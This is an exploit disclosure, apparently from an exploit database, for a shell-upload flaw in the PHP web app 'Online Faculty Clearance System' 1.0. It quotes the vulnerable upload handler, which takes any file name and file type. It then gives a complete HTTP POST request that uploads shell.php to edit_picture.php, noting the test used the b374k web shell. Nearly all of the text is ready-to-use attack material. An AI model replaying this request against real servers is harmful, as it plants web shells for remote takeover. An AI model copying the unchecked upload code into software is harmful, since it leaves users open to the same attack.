# Exploit Title: Online Faculty Clearance System Shell Upload
# Exploit Author: th3d1gger
# Vendor Homepage: https://sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/onlineclearance_0.zip
# Version: 1.0
# Tested on Windows 10

@Vulnerable Source Code
-------------------------------------------------------

<?php
if(isset($_POST['files']))
{
$a = $_FILES['file']['name'];
$ab = $_FILES['file']['tmp_name'];
$location = "".$a;
move_uploaded_file($ab, "../requirements/".$location);
// $sql = $conn->prepare("INSERT INTO requirement (file) VALUES (?)");
// $sql->execute(array($location));
$userid = $_SESSION['id']; 
$a = $conn->lastInsertId();
// $sql1 = $conn->prepare("INSERT INTO req_faculty (id,req_id,file) VALUES (?,?,?)");
// $sql1->execute(array($userid,$a,$location));
$sql2 = $conn->prepare("UPDATE faculty SET faculty_picture = ? WHERE id = ?");
$sql2->execute(array($location,$userid));
if($sql){ 													
echo '
<script> 														
window.location = "edit_picture.php"
</script>'; 												
}
}
?>
@attack request
-----------------------ShellUpload---------------------------
POST /production/edit_picture.php HTTP/1.1

Host: 192.168.1.5

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------304272295614074513932150381645

Content-Length: 171193

Origin: http://192.168.1.5

Connection: close

Referer: http://192.168.1.5/production/edit_picture.php

Cookie: PHPSESSID=33m58omrnhv63lll47tsfqsvfn

Upgrade-Insecure-Requests: 1



-----------------------------304272295614074513932150381645

Content-Disposition: form-data; name="file"; filename="shell.php"

Content-Type: application/x-php

<?php 
tested with b374k ?>


-----------------------------304272295614074513932150381645

Content-Disposition: form-data; name="files"





-----------------------------304272295614074513932150381645--